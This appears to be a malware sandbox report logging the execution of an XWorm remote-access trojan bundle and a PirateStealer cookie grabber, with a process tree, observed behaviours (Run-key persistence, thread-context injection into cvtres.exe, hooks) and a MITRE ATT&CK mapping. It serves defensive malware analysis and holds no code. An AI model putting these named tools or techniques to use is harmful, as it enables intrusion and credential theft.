"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC.exe"
1⤵
- Enumerates connected drives
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3240

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\exodus.exe
"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\exodus.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4896

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4544

C:\Windows\system32\ctfmon.exe
ctfmon.exe
3⤵
PID:688

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 6DVAYG 127.0.0.1 8000 L0HLPS
2⤵
PID:4408

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 6DVAYG 127.0.0.1 8000 L0HLPS
2⤵
PID:856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 6DVAYG 127.0.0.1 8000 L0HLPS
2⤵
- System Location Discovery: System Language Discovery
PID:3632

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1084

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe
"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe"
1⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5124

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
2⤵
- Modifies registry class
PID:5156

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" SK3HJX 127.0.0.1 8000 LG6FGL
2⤵
- System Location Discovery: System Language Discovery
PID:5252

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe
"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe"
1⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5388

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
2⤵
- Modifies registry class
PID:5428

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" SK3HJX 127.0.0.1 8000 LG6FGL
2⤵
PID:5520

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" SK3HJX 127.0.0.1 8000 LG6FGL
2⤵
- System Location Discovery: System Language Discovery
PID:5528

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe
"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC-Client.exe"
1⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5676

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
2⤵
PID:5700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" SK3HJX 127.0.0.1 8000 LG6FGL
2⤵
PID:5768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" SK3HJX 127.0.0.1 8000 LG6FGL
2⤵
- System Location Discovery: System Language Discovery
PID:5760

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Pirate-Cookie-Grabber-main.zip\Pirate-Cookie-Grabber-main\PirateStealer.py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5548

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\AppData\Local\Temp\Temp1_Pirate-Cookie-Grabber-main.zip\Pirate-Cookie-Grabber-main\PirateStealer.py"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5540

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Pirate-Cookie-Grabber-main.zip\Pirate-Cookie-Grabber-main\PirateStealer.py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5604

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\AppData\Local\Temp\Temp1_Pirate-Cookie-Grabber-main.zip\Pirate-Cookie-Grabber-main\PirateStealer.py"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery